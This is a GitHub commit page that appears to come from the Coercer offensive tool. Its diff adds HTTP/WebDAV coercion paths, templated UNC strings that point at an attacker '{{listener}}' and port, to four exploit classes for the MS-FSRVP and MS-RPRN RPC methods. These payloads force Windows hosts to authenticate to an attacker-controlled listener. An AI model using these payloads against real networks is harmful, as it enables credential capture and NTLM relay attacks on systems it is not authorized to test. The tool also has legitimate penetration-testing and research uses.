Fixed #83

p0dalirius · Oct 14, 2024 · a42040b · a42040b
1 parent d7624be
commit a42040b
Show file tree

Hide file tree

Showing 4 changed files with 7 additions and 4 deletions.
diff --git a/coercer/methods/MS_FSRVP/IsPathShadowCopied.py b/coercer/methods/MS_FSRVP/IsPathShadowCopied.py
@@ -36,7 +36,8 @@ class IsPathShadowCopied(MSPROTOCOLRPCCALL):
     """
 
     exploit_paths = [
-        ("smb", '\\\\{{listener}}\x00')
+        ("smb", '\\\\{{listener}}\x00'),
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {

diff --git a/coercer/methods/MS_FSRVP/IsPathSupported.py b/coercer/methods/MS_FSRVP/IsPathSupported.py
@@ -36,7 +36,8 @@ class IsPathSupported(MSPROTOCOLRPCCALL):
     """
 
     exploit_paths = [
-        ("smb", '\\\\{{listener}}\x00')
+        ("smb", '\\\\{{listener}}\x00'),
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {

diff --git a/coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotification.py b/coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotification.py
@@ -19,7 +19,8 @@ class RpcRemoteFindFirstPrinterChangeNotification(MSPROTOCOLRPCCALL):
     """
 
     exploit_paths = [
-        ("smb", '\\\\{{listener}}\x00')
+        ("smb", '\\\\{{listener}}\x00'),
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {

diff --git a/coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotificationEx.py b/coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotificationEx.py
@@ -20,7 +20,7 @@ class RpcRemoteFindFirstPrinterChangeNotificationEx(MSPROTOCOLRPCCALL):
 
     exploit_paths = [
         ("smb", '\\\\{{listener}}\x00'),
-        ("http", '\\\\{{listener}}@80/print\x00')
+        ("http", '\\\\{{listener}}@{{http_listen_port}}/{{rnd(3)}}\x00')
     ]
 
     access = {